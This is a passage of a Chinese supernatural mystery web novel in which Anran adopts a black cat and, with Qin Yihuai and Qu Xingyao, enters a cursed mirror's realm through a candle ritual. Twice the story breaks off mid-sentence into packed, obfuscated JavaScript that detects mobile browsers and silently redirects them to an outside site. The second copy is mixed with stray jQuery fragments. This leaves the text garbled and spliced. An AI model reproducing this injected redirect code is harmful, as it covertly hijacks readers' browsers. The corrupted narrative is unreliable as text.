她一把将逃跑的黑猫捞进怀里,随手关掉浴室门,安然总感觉这小家伙能听懂人话,于是便和它商量:“如果你乖乖洗澡,一会儿给你做牛肉吃怎么样?” 那小东西挣扎的动作明显一顿,但很快又再次扭动了起来。 “你乖乖洗澡,就让你留下来。”黑猫挣扎的动作渐渐弱了下来,能看了眼浴室喷头的位置又歪头看了看安然,像是在纠结。 安然好笑的揉了揉它的脑袋:“乖一点,我每天都给你做好吃的。” 小黑猫‘喵’了一声,跳到地上,仰头冲着花洒‘喵呜喵呜’叫着,像是在说‘那还等什么,快点洗呀’。她有些无语看着这个变脸比翻书还快的小东西,忍不住怀疑自己是不是被这家伙给耍了。 从浴室里出来,洗干净吹干毛发的小黑猫看着更有精神,它舒服地靠在安然怀里,蓬松柔软的纯黑色皮毛衬得那双异色瞳孔越发炯炯有神。 反观安然就惨多了。 倒不是小东西洗澡不配合,相反,它配合得相当到位,让露肚皮就露肚皮,让抬腿抬腿...就是给它吹毛实在是太费劲,手快要断了才勉强吹的差不多,自己吹头发都没这么费劲。 一人一猫来到厨房,水里的牛肉已经完全化开了。 看了眼时间,等她做好估计得11点,也懒得再做其他主食,干脆就一人一碗番茄牛腩。 牛肉切块,焯水,翻炒,焖煮。没多久,整个厨房都弥漫着番茄炖牛腩的香味,光闻味道就让人忍不住食指大动。 将牛腩端上桌,盛出来两碗,将其中一碗推给小黑猫。 牛肉软糯入味再配上西红柿酸甜的口感,简直让人欲罢不能,安然不禁感慨发明这道菜的人绝对是个天才。 安然吃的一脸满足,小家伙显然也对今晚的伙食十分满意。没多久,一整锅番茄牛腩就被这一人一猫吃了个干净,连点汤汁也没留下。 收拾完厨房,在让黑猫上楼睡还是老实待在楼下,安然考虑再三还是选择了前者。 一个是她从来没养过这种毛茸茸的小动物,不知道猫这种生物在晚上是会乖乖睡觉还是会到处乱跑。再就是她知道,万一这家伙三更半夜跑上她的床,睡不睡的好另说,自己绝壁会被吓出心脏病。 安然跑上楼拿出上次那件卫衣,摸了摸黑猫的脑袋:“今晚先将就一下,明天带你去买个猫窝。” 却见刚刚还亲昵蹭着她手指的黑猫突然动作一顿,躲过安然抚摸的掌心,直接越过她,往楼上跑去。 等到安然跑上楼,就见原本放在椅子上的背包已经倒在了地上,包里的东西散了一地,黑猫正用爪子扒拉着装着餍虫的盒子。 “小黑!”她赶紧将盒子捡起来,“这个不能吃。” 黑猫抬头看向安然,眼神犀利。 “小黑?”安然被看的皱起了眉头,不知道是不是她的错觉,眼前的黑猫看上去似乎是有哪里不一样了,有点像那晚在梦里看到的那只。 她刚想将黑猫抱起来,那家伙却一个闪身躲过了安然伸出的手,直接跑下了楼。 安然看着空荡荡的手,想都没想就跟了下去。只见小黑正趴在自己之前叠好的临时猫窝上,见她下来,歪头冲她喵呜了一声。 和之前一般无二。 难道是她感觉错了? 回到房间,看着地上散落的一片狼藉,不知怎的,突然生出一股强烈的不安来,总觉得好像有很重要什么事被自己忽略了,但一时间又想不起来是什么。 直到捡起地上那枚写着兑字的徽章,才感觉心口被人狠狠撞击了一下。 是万胜柔! 她赶忙拿出手机拨打了秦以淮的电话。 自己怎么能忘了已经变成水鬼的万胜柔还在水里?! “嘟——-” “嘟——-” “喂——-”秦以淮懒懒的声音从听筒那边传了过来。 “秦以淮,后山湖里有东西!”安然语气焦急:“你的人没去那边确认尸体吧?” “有什么东西?” 她一听秦以淮的语气就知道糟了,“是万胜柔。就是之前找到尸体的那个女生,她在水里!” “去了几个人?” “三个。”秦以淮沉默了半晌:“我问问情况,一会儿给你电话。” “好。” 挂掉电话,那种不安的情绪始终缠绕着安然。握在掌心的手机屏幕亮了暗,暗了又亮。 在不知道第几次看向手机后,终于等来了秦以淮的电话。 “怎么样?他们没事吧?” “你...确定水里有东西?”秦以淮没有直接回答安然的问题,沉默了一会儿来了这么一句。 安然立马明白了他话里的意思:“万胜柔不在水里?” “秦风说水底只有一副被石头压着的骸骨,除此以外什么都没有。” 怎么会... 不止她,黎煜也说闻到了水鬼的味道... 蓦地,她睫毛一颤:“里面一条鱼也没有?” “没有。” 果然。 水流只进不出,水位却始终没有变化就算了,竟然连一条鱼都没有。还有出现在那儿的徽章和声音... 要说那片水潭没问题,傻子都不信。 安然咬紧了下唇,强行压下心中的疑问:“秦风他们下山了么?” “他们在回来的路上。” 安然沉默了片刻问出了心中的疑问:“你打算怎么处理姜慧的尸体?” “很快你就知道了。” ********* 安然以为自己昨晚肯定会失眠,却没想到这一觉竟睡得格外安稳。 姜慧左眼已经完全消失,右眼也开始淡化。 原本还算轻松的心情一下子变得沉重了起来。 洗漱后下楼,就看到了趴在楼梯口的小黑猫。小东西见她下楼,立马蹭着她的小腿,喵呜喵呜叫着。 看着小东西撒娇的样子,多少减少了些昨晚的异样感。 和秦以淮约好的时间是上午9点。 一人一猫吃过早饭,便离开了杏花街。 等到约定好的地方,秦以淮已经到了。看见安然怀里的黑猫,一挑眉:“这就是吃掉餍虫的那个小东西?” 哪知安然还没回答,黑猫却突然炸毛,冲着秦以淮低吼了一声直接扑了上去。 “小黑!” 好在安然眼疾手快将跳起的小黑猫一把搂进怀里。但小黑的指甲明显十分的锋利,只听刺啦一声,外套便被撕出了一道口子,不过好在小东西及时缩回了爪子,不然这会儿开口的绝对不止是衣服。 安然生气地看向小黑猫:“不可以随便咬人!” 见她似乎真的生气了,小黑猫也不再对着秦以淮呲牙,而是用头蹭着安然手臂,像是企图用撒娇蒙混过关。 但安然这回没有像平时那样抚摸它的脑袋,而是将黑猫放在了旁边的沙发上,看着它的眼睛:“不可以随便咬人,小黑。如果你想留下来,就不能像刚刚那样随便伤害别人。” 小黑猫显然是听懂了她的话,转头看了眼对面同样看着它的秦以淮,对着安然呜呜叫了两声后直接趴在了沙发上。 “抱歉。”安然面露歉意地看向秦以淮。 秦以淮摇头,“你这猫...”他瞥了眼黑猫躺着的地方,“挺有意思的。” 黑猫懒懒抬头,一人一猫对视几秒,同时移开了视线。 “你昨晚说万胜柔在水里是怎么回事?”秦以淮有些生硬的转移了话题。 安然也乐的借坡下驴,将之前自己去水潭遇见已经变成水鬼的万胜柔的经过简单说了一遍,自然省略了那道蛊惑她的声音。 秦以淮拿起桌上的水杯抿了一口:“她已经不在水里了。这事和我们没什么关系,暂且放到一边,先看看这个...” 安然接过对方递来的牛皮纸袋。 里面是两份个人档案。一份是林盛阳的,一份瞿星瑶的。 “你这么快就找到瞿星瑶了?”安然有些意外。 “要不是你提到林盛阳的表姐,我还没这么快找到瞿星瑶。” “什么意思?”安然听出来秦以淮话里有话,同时打开了瞿星瑶和林盛阳的档案。 “瞿星瑶...就是林盛阳的表姐?!” 她看着档案上林盛阳父母一栏和瞿星瑶亲人一栏中舅舅舅妈完全相同的名字,心想这世界还真是小。 “嗯。我不知道瞿星瑶为什么会从国外回来,但在此之前我的人并没有查到过她的出境记录。” “难不成是偷.渡?” “估计只有这个可能了。”秦以淮同样没有不解。 照理说,瞿星耀当时手上有300万,怎么都不该沦落到去偷.渡才对… 除非她有不得不这么做的理由。可什么样的理由能让一个女孩子高二突然辍学带着笔巨款偷.渡到其他国家? “有查到瞿星瑶为什么突然回国么?她和她舅舅关系不是很一般么,怎么会找上林盛阳?她俩感情难道不错?” 秦以淮摇头:“林盛阳不是亲生的。当初瞿星瑶的舅舅的确曾有过一个孩子,但那孩子在3岁的时候夭折了。林盛阳是他们后来领养的。” “领养?”安然垂眸看着桌上的档案,想起林盛阳手腕上的那些伤痕,眉间不自觉皱成一团:“可档案里并没有标注林盛阳是林家夫妻领养的…你怎么查到的?” “我的人查到林盛阳曾偷偷做过自己和林家夫妻的DNA检测。结果显示无任何亲缘关系。” 安然双眼微微睁大,显然被这个消息震惊的不轻。 “还有他们当年住过的地方,我也派人去查过了,有知情人说他们的亲生女儿曾因为一场事故送去医院抢救过。” “显然,林家夫妻孩子夭折后,并没有上报,而是直接领回了一个和自己女儿差不多的孩子。至于为什么,我也不清楚。” 安然皱眉,越查就越感觉这水浑浊的不是自己能随便趟的。 她摇了摇头,将那些疑问尽数抛出脑后。瞿星耀也好,林盛阳也罢,她们的家庭纠纷和自己这个外人没什么关系,听听也就过了,但… “如果她表姐是瞿星瑶的话...这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我也是这么想的。”秦以淮指尖点在桌子上发出有节奏的‘咚、咚、咚’。“那些牺牲品显然不是随机或是任意选择。否则不会每个四月失踪的人肯定不会只有那点人数。如果让人知道学校里有一面能够实现人愿望的镜子,你觉得有多少人回来许愿?要知道人的欲望,无论多少东西都填不满。况且还是用别人的命来填...” 他停下敲击的动作,包间一下子安静了下来:“所以不管是许愿的人还是牺牲品都应该是有特殊的规定。这样的话,就有一点说不通了...那个灵异社的萱姐,她并没有像其他人那样在学校逗留了几天才失踪,而是当晚就不见了...她的失踪很可能不止是被当作了祭品那么简单。” 安然皱眉:“你是怀疑当年的灵异社...有人将萱姐当成祭品许了愿?” 秦以淮没有回答,但他的表情却已经说明了一切。 “灵异社记录的那个仪式...成功率能有多少?”当年的事已经过去了太久,他俩也不是当事人,光靠瞎猜也推测不出事情的真相,在安然看来不如关注眼下能把握的。 “百分之50。” 安然听后忍不住在心里翻了个白眼,可不百分之50么,要么成功,要么失败,说了和没说一样。也怪她自己提出这么个白痴问题,明明知道哪怕成功率只有百分之一,秦以淮也一定会去试一试。谁让这是他们手头上唯一能算得上线索的东西呢? 她刚想说点什么,秦以淮放在桌上的手机就突然亮了起来... ***** 和秦以淮分开后,安然没有直接回家,而是带着小黑去了刚营业不久的世纪广场,听说那有家甜品店,里面提拉米苏相当的正宗。 她抬头看着难得晴朗的天空,连日来笼着心头的阴霾随着秦风传来的消息一扫而空---警方那边已经找到了沉在湖底的姜慧的骸骨。 不得不说秦风的办事效率实在超出了她的想象,那根终日套在她脖子上的绞索终于要消失了! 安然第一次感觉到活着,竟会是如此的幸福。幸福到急于想吃点甜的东西,延续这种多巴胺分泌带来的快.感。 她愉悦的情绪显然感染了怀里的小黑,一直用舌尖不停地舔舐着她的手指。安然制止了几次,见没什么效果,也就随它去了。 一到目的地,一人一猫就闻到了空气里弥漫着各种小吃散发的香味:冰激淋和奶茶的甜香,章鱼小丸子和烤鱿鱼的辛香,关东煮、烤肠、棉花糖、糖葫芦、炒栗子...所有的香味交织在一起,谁又能说这些刺激味蕾的美食不是活着的意义? 买了几份看上去还不错的小吃,她和小黑吃了个肚饱。 商场看着挺大,实际没走多久就逛的差不多了。买了串冰糖葫芦,带着小家伙坐在步行街旁边的椅子上,街上人来人往,对面是商城巨大电子屏幕,上面正播放着的哪吒5的宣传短片。 安然咬掉最后一个山楂,突然觉得哪吒那句经典的‘我命由我,不由天’实在太符合她此时的心境,看了眼小黑,又看了眼身后的背包,眉毛一挑:“走,姐带你看电影去!” ******** 从电影院出来后,已然是黄昏时分。 不得不说,小黑在演技上绝对称得上影帝级别。刚刚在放映厅里被隔壁那小姑娘发现,不管对方怎么逗弄,始终保持着我自岿然不动的模样,愣是表演了一出什么叫公仔的自我修养。要不是电影上映时间比较长,影厅还有一些空位置,这家伙说不定全程2个多小时一动不动。 安然带着小黑买了些海鲜,打算作为它陪自己看电影的奖励,要不是自己突然的心血来潮,这小东西也不会在影院遭那些罪。 刚将手里的东西放在厨房,她就接到了秦以淮的电话。 “今晚有时间么?” “嗯?怎么了?”安然不明所以,不知道对方为什么突然这么问。 “我已经见过瞿星瑶了。” 安然握着手机的手不由一紧:“这么快?” “嗯。她告诉了我一些事情...但条件是仪式得算她一个。” “她都说什么了?” 秦以淮没有直接回答,沉默了片刻才缓缓开口:“瞿星瑶就是14年最开始做记录的那个...二毛。” 41. 第41章 怀阳一中在阴云遮掩的月光下时隐时现。 安然站在离学校大门不远处的街口,拿出手机给秦以淮拨去了电话。 就在她纳闷对方怎么不接电话时,禁闭的大门缓缓拉开了一道缝。 开门的是个身材曼妙的成年女性,只是光线太暗,安然一时没能看清对方的长相。 尽管如此,这人身份也呼之欲出——瞿星瑶。 秦以淮食指立在唇边,示意安然暂时不要说话。 等到瞿星瑶转身锁上大门,三人才小心翼翼朝着废弃实验楼的方向前进。 被黑暗笼罩的实验楼看上去越发孤寂,像个久卧病榻的老人沉默地等待着自己最后的结局。 安然拉住跑向实验楼的瞿星瑶,指了指附近的监控摄像头。 瞿星瑶看了眼安然手指的方向,捡起两颗石子,直接朝着监控探头的方向砸了过去。 只听‘啪啪’两声,两个探头应声而碎。 这么准...的么? 更让她吃惊的是,瞿星瑶的本事还不止这点,只见她小跑两步走到实验楼的大门前,取下头发上别着的黑色发夹,对着锁眼就是一阵捣鼓,没几下只听咔哒一声,锁直接开了。 这开锁的本事竟然和老头子不相上下! 安然和秦以淮对视一眼,均在对方眼里看到了错愕。 实验楼和她上次见到的时候差别不大,细小的灰尘覆盖着实验楼的每一寸,到处弥漫着腐朽的气息。 没有人说话。 莫名的压抑裹挟着三人刻意放低的脚步声,尽管他们清楚这里除了他们以外根本找不到第四个人,但这种下意识的行为还是让他们不由摒住了呼吸。 这种近乎病态的行走方式一直持续到了顶楼,被挤压到几乎不见半点气体的肺叶迫不及待地汲取着周围的空气,哪怕其中尽是陈旧与腐败。 “瞿星瑶。”瞿星瑶对着安然伸出了手,“我听小阳说起过你。” 安然一开始还没反应过来对方说的小阳是谁,但转念便明白了过来,回握住了对方的右手:“安然。” 知性、干练。 是她对瞿星瑶的第一印象,很符合大多数少女会期待成为的30多岁成熟的都市女性形象。对方在时间的打磨下已经完全看不出当年记录时哪怕隔着纸张都能感受到的青涩和脆弱。 瞿星瑶的掌心很暖带着微微的潮,安然不太喜欢这种触感,有种说不出的粘腻。 像血。 她甚至在满是尘土的空气里闻到了铁锈的腥味。 安然倏地抽回了右手。 瞿星瑶不解的看向安然,似是不明白只是握个手,为什么她反应这么大。 “不好意思...我…我不太习惯和人握手。” “该我道歉才对。”瞿星瑶了然的笑了笑:“忘了你们学生最讨厌这种过于正式的打招呼方式。” 就在安然尴尬的不知道该说点什么时,秦以淮从背包里拿出了三根蜡烛,将其中两根分别递给她俩,又递给她们每人一把刻刀,方便待会在烛身上刻下自己的生辰八字。 蜡烛比一般的稍大一点,有些压手,握在手里竟然是暖的,“这蜡烛...” “这是阴阳烛。”秦以淮给了回答,“里面有至阴的鲛人油也有至阳的犀角粉末,有了它绝对是事半功倍。” 说实话,安然对于秦以淮电话里说的计划并不看好。那可是吞噬了不知多少学生的镜子,哪怕真像瞿星瑶说的,那东西在成气候前被强行封印,没能真正化妖,一时间无法全部吞噬掉那些失踪的灵魂。 但虎口夺食从镜子里释放所有人? 安然觉得就凭他们三个实在够呛。 倒不是临阵退缩,而是她实在是太有自知之明。先不论另外两个家伙能有多大本事,安然清楚自己除了比较招鬼以外,就是个普通的不能再普通的普通人,顶多比四肢不勤好那么一点而已。 但她并没有提出反对意见,谁让秦以淮提出的条件实在太过于诱人——今晚不论成功与否,两人的合作都到此为止,他仍旧会遵守承诺帮她寻找丁筝的下落。 还有一点,要不是秦以淮过分迷信她能帮他找到那个人,自己估计现在还在姜慧的执念里打转找不到半点出口。 秦以淮帮了她。 于情于理,安然都必须要趟一趟这浑水。 在确定那三枚山鬼铜钱、铜镜、灵异社的兑字徽章都在身上后,又摸了摸鼓囊囊塞满了老头子手写符箓的几个口袋,多少有了点逃跑的底气,有了这么多装备,自己应该不至于是主动送餐上门的...吧? 安然命令背包里躺尸的餍虫爬上自己手腕,又拿出手机分别给老头子还有她哥发去的短信,告诉他们自己所处的位置和简单的事情经过。万一自己真成了镜子的配菜,他们也能有个拯救自己的方向。 时间在他们无声的催促下很快来到了零点。 三人彼此对视一眼,用刻刀对着指尖轻轻一划,鲜血顷刻顺着伤口涌了出来,将鲜血涂满整根蜡烛,血液顺着刻痕流进凹槽,纯白配鲜红,竟有种别样的美感。 三人站成一排站在了漆黑的楼道口。 秦以淮拿出打火机依次点亮了三根蜡烛。 “记住!一会儿闭上眼睛,无论遇到什么都不要睁开。”说话的是瞿星瑶:“阴阳烛相当于引路灯,一旦点燃,只要不放手就不会熄灭。镜子被封印在了域里,只能由我们主动找它,一旦中途睁开眼睛就会被困死在现实与域之间的夹缝里,到时候就是大罗金仙下凡也救不了你。” 说这话的时候,她有意无意地瞥了眼安然,“步调尽量保持一致,不要和身边的人分开。我也是第一次以这种方式进入域,所以待会儿会遇到什么,我也不知道,只能靠自己随机应变。” 秦以淮走到安然身侧,将一根红绳系在她的手腕上:“这个戴在手上,无论发生什么都不要摘下来。不要睁开眼睛,夹缝间的变化是随机的,一旦掉进去,我也没办法救你出来。” 见安然点头,他才看向手机上显示的时间,轻声念道:“10、9、8...” “3、2、1。” 安然闭上眼睛,暗黄的烛光透过眼睑,让身前的楼道不至于一片黑暗。 隔着衣料,她感受到了紧挨着自己的秦以淮身上传递来的温度。将蜡烛举在胸前,往下走了一级台阶,在心里默念:‘1。’ ‘2。’ 她知道另外两人也和自己保持着同一步调。 ‘3。’ 安然终于知道瞿星瑶为什么要看着自己说之前那段话了,看不见+楼梯简直就是一对‘完美的王炸组合’,绝对能起到一加一大于二的效果。 这才仅仅是第三步,她就已经开始对脚下的台阶产生了严重的不信任,总感觉下一秒就会踏空。她尝试联系餍虫,奇怪的是之前还和自己心意相通的小东西这会儿像是断了线的风筝彻底失去了联系。 ‘4。’ 有什么滑过了她的脖颈,有些暖又有些潮,还隐隐透着股怪异的腥甜。她紧闭的眼皮开始不受控制的抖动,睫毛轻颤,仿佛下一秒就会睁开眼睛。 ‘5。’ “呼——” 有人正对着她的耳朵吹气,鸡皮疙瘩沿着脖颈直窜的头顶,手里的蜡烛差点没脱手。 秦...秦以淮? 脑海忽地浮现出了对方惨白着一张脸靠向自己耳边吹气的样子不由心头一颤,过度的紧张让她喉头不由阵阵发紧,就连最简单的吞咽都无法做到。 ‘6。’ 火光晃动,映射在安然脸上的光源时明时暗,像是随时都有可能熄灭。眼皮下的瞳孔也开始不受控制的来回转动,额角跟着渗出了细密的冷汗。 ‘7。’ 摇曳的烛光宛若溺水之人无力的挣扎,撑不到几秒的功夫便彻底沉寂于黑暗。 铺天盖地的黑色兜头而下,将安然淋了个透心凉。她本能地靠向秦以淮,回应她的却是冰冷和僵硬。 心脏狠狠一颤。 这不是... 活人的触感。 ‘8。’ 黑夜会放大人类除视力以外的所有感官。她的脚步,她的心跳,她的呼吸都被放大了无数倍,却唯独没有另外两人的半点气息。 如果此刻只有她一个人在这寂静的楼道里,那紧紧贴着自己的冰冷躯体又是谁? ‘9。’ 安然的呼吸越发急促。她迫切地想要询问身边的秦以淮是否还在,但又怕会引出别的麻烦。问与不问折磨着她为数不多的理智。 ‘10。’ 一点嫣红染上了她紧抿着的淡色唇角,腥甜在口中蔓延。她抬起另一只手,缓缓摸向紧握的蜡烛,从竖着的烛身一直摸向烛心,炙热的火焰烫的她猛地缩手。 ‘11。’ 安然松了口气,果然是幻觉。 蜡烛还亮着。 ‘12。’ 她试探着着脚下的台阶:‘13。’ 没有转角,没有平台,和事件簿上一样... 楼梯真的变长了! 但看到是一回事,亲生经历又是另一回事。 安然接下来的每一步都走的格外小心翼翼。 ....... ‘28。’ ‘29。’ 几次不断重复同样的动作后,尽管仍再黑暗中摸索,但竟不再像一开始那般难熬。人果然是种神奇的生物,适应力着实惊人,安然有些自嘲的想。 ‘30。’ 越往下,楼道似乎就越是宽阔。 她甚至听到了自己呼吸产生的回音。 ‘31。’ “阿然...” “安然...” 哥? 那是她哥的声音! “安然,你在哪儿?我和爷爷看到你的信息立马就来找你了!” “安然!能到么?” ‘32。’ 安然的脚步变得迟疑,要回应么? 真的是爷爷和哥哥么... 不对。 自己给他们发信息是晚上11点左右,到现在也不过1个多小时,以她哥上次打电话的座机来看,绝对不止这么点路程。就是坐火箭也不该这么快。 是…幻觉。 应该是幻觉。 ‘33。’ ‘34。’ “爷爷,我们真的能找到然然么?” “阿然身上带着我之前画的符箓,罗盘指向的位置也的确是这里没错。” “可为什么没有回应?人一个礼拜不吃说不定还有活下来的可能,但这么长时间不喝水...” ‘35。’ 什么意思... 她失踪了一个礼拜?! 这个念头一起,安然就感觉到了强烈的口渴和饥饿感。 ‘36。’ 不止胃,她的五脏六腑也像是被什么东西狠狠灼烧着。 那是她的胃酸。 安然心头突然冒出这么个答案。 它似乎在消化她体内的其他器官。 这个想法让她喉头发紧。 不行! 她不能困在这里。 安然刚想睁开眼睛回应哥哥的呼唤,就感到手腕一阵猛烈的刺痛。 ‘37。’ 痛疼唤回了一丝理智。 她晃了晃被饥饿折磨成一团浆糊的脑袋。 五脏六腑传来的疼痛愈演愈烈,她甚至有种在这样下去整个人都会被胃液消化殆尽的错觉。 安然一手拿着蜡烛,一手死死按住抽痛的胃。 ‘38、39、40。’ 疼痛骤然消失。 安然停留在原地大口喘气,嘴里的软肉约莫是破了,呼吸里满是血腥。 昏黄的烛光照在她苍白的脸上。手腕上的餍虫躲在袖口的位置瑟瑟发抖。刚刚那一口已经用尽了它所有的勇气,要不是有那根红绳牵制着,安然这个临时主人根本护不住自己。 要知道楼道里的这些怪物,随便一只都能轻易将它吞吃入腹。 安然站在第40级台阶,没有继续往下走的打算。 天知道下面还有什么鬼东西在等着自己。 她猜测刚刚那一下很可能是餍虫在提醒自己,但她试着和那小东西联系时却依旧失败了。 安然深吸一口气,迈下了第41级台阶。 没有。 什么都没有发生。 沉寂的氛围让她在原地足足呆立了两秒才反应过来。 ‘42。’ 寂静,反而让人心生不安。 像是夜枭于黎明前狩捕最后一头猎物时的无声狂欢,越是安静,隐匿在这之后的危险就越致命。 安然屏住了呼吸。 ‘43。’ 脚下传来的触感不再是坚硬的水泥,有些软,有点像某种糕类...又有点类似某种蜡质,随着她的动作发出‘吧唧吧唧’的声音,安然一刻都不想继续,迫不及待的踏上第44级台阶。 这还是她第一次从水泥地上感受到如此强烈的踏实感。 果然看不见的时候脚下还是硬一点比较好。 可就在她想走下最后一级台阶时,动作却倏地一滞,一双冰冷的手死死拽住了安然的脚踝。 “不要...” “不要...” “不要下来...” “停下来!” “林异!停下来!” “停下来!!!” 尖锐的女声像是无数锋利的玻璃碎片钻进耳膜,扎的安然头痛欲裂,等到思维从深渊中浮起,她发现自己竟然被困在了一面玻璃墙里。 玻璃墙外是一群正在打篮球的学生,而她的身后是一片望不到底的黑暗。 她想喊想用力拍打面前的玻璃,可身体压根就不受自己控制。 目前的状况... 像极了她附在姜慧身上时的感觉。 镜子... 掌心下的东西根本就不是什么玻璃,而是镜子! 姜慧死后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850093|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然真的被困在了镜子里?! 可自己明明已经找到了姜慧的尸体,她的执念不是应该消失么?现在将自己拽到镜子里又想表达什么...? 只是镜子外的人换了一批又一批,姜慧就那样抱膝坐在镜子里,不说话也不动,就像个没有生命的雕像。直到夜幕笼罩住整间体育馆,大门再次被人推开,脚步声渐近,姜慧才像是被重新激活了般站了起来。 两束灯光伴着脚步声由远及近,直到两个少年找站到了镜子前。一个个子瘦高戴着黑框眼镜长相斯文,另一个...安然瞳孔骤然一缩,大脑一片空白——被刘海遮住的精致五官,厚镜片下的狭长凤眼... 这人...怎么会是秦以淮?! 混沌的思绪在三人的交谈中渐渐回笼。 安然这才理清两人的身份,斯文男是程景浠,另一个和秦以淮有着相同长相的男生竟然是… 林异。 秦以淮要找的人是林异! 凭这两人一模一样的脸,说他俩没有关系,安然第一个不信。 只是其他人还好说,镜子被封印,也许可能大概有一些些人还没来得及被消化,可林异作为源头,作为第一个被祭的人怎么可能还有存留下来的机会? 但秦以淮又信誓旦旦地说自己能帮他找到林异。 怎么找? 在姜慧的过去里找么? 她连身体都控制不了,难道还能将姜慧记忆里的林异拽到现实? 三人接下来的谈话直接将她从自己的思绪中拉回到了当下。 只见程景浠从背包里拿出两根纯白的蜡烛,将其中一根递给林异。 “这个法子真的行么?”姜慧眉间紧缩,忧心忡忡。 “先试试吧,总比什么都不做看着你消失要好...”程景浠在说这话的时候瞥了眼林异,眼里快速闪过了什么。 林异的视线也从蜡烛转向姜慧,露出了个有些孩子气的笑:“别担心。” 安然看着那个纯真的笑容有些出神,这是她第一次在除了婴儿以外的脸上看到这样干净、不掺一点杂质的笑。 忽略掉林异糟糕的穿着打扮,他和秦以淮真的可以说是一个模子复刻出来的,可一旦笑起来,别说她,任何人都能一眼分辨出两人的不同——林异太干净了。 干净的就像是一笔未落的白纸。 可程景浠说的姜慧要消失,又是怎么一回事... 难不成这就是他欺骗林异的理由? “时间到了,该走了。”程景熙用手电筒照了□□育馆不远处的挂钟,看向林异。 “别担心。”林异的手掌贴着镜子,和镜子里的姜慧掌心贴合在一起,“你是我第一个朋友。我是不会让你消失的。” 说完,便和程景熙走向了体育馆的大门。 安然透过姜慧的眼睛看着那两人离开的背影,总觉得自己好像忽略了什么。 倏尔灵光一现,可还没等她抓住那点一闪而逝的感觉,就眼前一黑彻底失去了知觉。 ******** “18、19、20…” 安然是被一阵数数的声音唤醒的。那是两个不同的男生混杂在一起的声音。 她睁开眼睛,就见林异和程景熙两人一人拿着一根蜡烛,闭着眼睛,每下一级台阶,就在心中默念一个数字。 哪怕隔着镜子,哪怕两人的距离还有很远,哪怕没人开口,两人的动作和声音,安然却看的、听的一清二楚。 “怎么样?有人真心为你着想的感觉很不错吧?” 不止安然,就连搞不清眼前状况的姜慧也被这突如其来的声音下了一跳。 姜慧有一双天生就会笑的眼睛,可眼下被那双一模一样的眼睛盯着看,就不单单是能用惊悚来形容了。 “你…你…是谁?”姜慧后退了好几步,差点跌坐到地上,显然被另一个自己吓的不轻。 “我有这么可怕么?”假姜慧眼尾低垂,眼圈微微泛红,委屈的像是下一秒就要哭出来。 姜慧张了张嘴,想要说点什么,却见刚刚眼泪还要坠不坠一副我见犹怜模样的假姜慧倏然靠近,两人几乎鼻尖贴着鼻尖,然后勾起一个怪异的笑容,这个表情很奇怪,眼尾半垂眼中含泪,下半张脸却笑的肆意张扬,像极了精分的神经病。 她用只有两人才能听见的声音呢喃:“我就是你呀。” 假姜慧似乎是想到了什么,轻轻抬起了姜慧的下巴,像是下一刻就要亲上去: “不过,过了今晚,你就终于自由了。开心吧?” “我呢,也终于找到了那个比你还要干净纯净一百倍,不,是一千倍的灵魂。” “你什么意思?”姜慧心中的不安疯狂敲击着她的肋骨。 “啊,对不起对不起,我忘记你不记得之前和程景熙的约定了,我现在帮你想一想,怎么样?”没等姜慧回答,假姜慧的指尖就已经点在了姜慧额头上。 剧烈的疼痛席卷全身。 不止姜慧,安然也看到了对方脑海里浮现出的画面的内容。 这一开始就是一场诓骗林异成为祭品所做的局。 不止程景熙,她也是其中的帮凶。 林异很孤独。 他们利用林异对朋友的珍视和在乎,让镜子故意削弱姜慧鬼魂的状态,让对方误以为她快要消失了。 而这时程景熙再拿出所谓的“救命良方”,只要将林异骗到镜子前,她从镜子中离开,而程景熙的奶奶也将永远不再受阿尔兹海默症的影响。 但姜慧眼下已经听不清对面都说了些什么,也顾不得自己这一下子多出的许多记忆。只用眼睛焦急地看向镜子外的林异。 “怎么?你之前不是很想离开这儿去报仇的么?不想报了?”假姜慧用手指一圈圈缠绕着自己的头发,笑的邪恶:“想想那个那个害你死掉的朋友,想想他们是怎么愚弄着你走向死亡的,想想你下场…啧啧啧。你的尸体到现在都没有人发现…应该被水里那些小可爱们吃光了吧?” “只要林异代替你,你就能离开了。忘记了么?” “这可是我们当初说好的呀…” “为了让这场戏演的更逼真,你可是特意封存了记忆呢!求仁得仁…这是多少人类梦寐以求的事…” 姜慧握紧拳头,双眼发红,一道道细碎的红线迅速蔓延,很快安然便发现眼前的一切都变成了浓郁的血红色。 “37、38、39…” 姜慧差点就要彻底崩不住的理智竟硬生生被林异的声音扯了回来。 她死死地盯着正不断靠近的林异,惨白的嘴唇几乎被她咬烂了。 许是姜慧此刻的情绪太过于强烈,在她身体的安然,看到了许多姜慧和林异相处的画面。 姜慧眼中留下了两行深红色的血泪。 这时的林异已经数到了43,眼看只剩下最后两步。 姜慧的眼睛瞬间变得赤红一片:“不!!!” 不知哪里来的力气,竟然猛的从镜子里逃了出来,死死攥住了林异的脚踝,说什么也不让他迈出最后一步! 42. 第42章 安然猛地回过神,下意识就要睁开眼睛,却被一双冰冷的手给遮住了。刺骨的寒意透过皮肤钻进神经刺激着每一个毛孔,让她忍不住阵阵战栗。 ...谁? 掌中熟悉的蜡质感提醒着她此刻已经回到了现实,不敢想象如果刚刚真的睁开了眼睛,等待着自己的究竟会是什么。 姜慧么? 安然敛住呼吸,强迫自己忽略附着在眼皮上的手指,动作极轻地扭动了下脚踝。 束缚... 消失了。 所以手的主人应该是姜慧吧? 安然张了张嘴,喉间却紧到发不出半个音节。 “救...他。”冰冷的气息喷洒在她的耳廓,安然咬紧了牙关才没被这突如其来的声音吓到扔了手里的蜡烛。 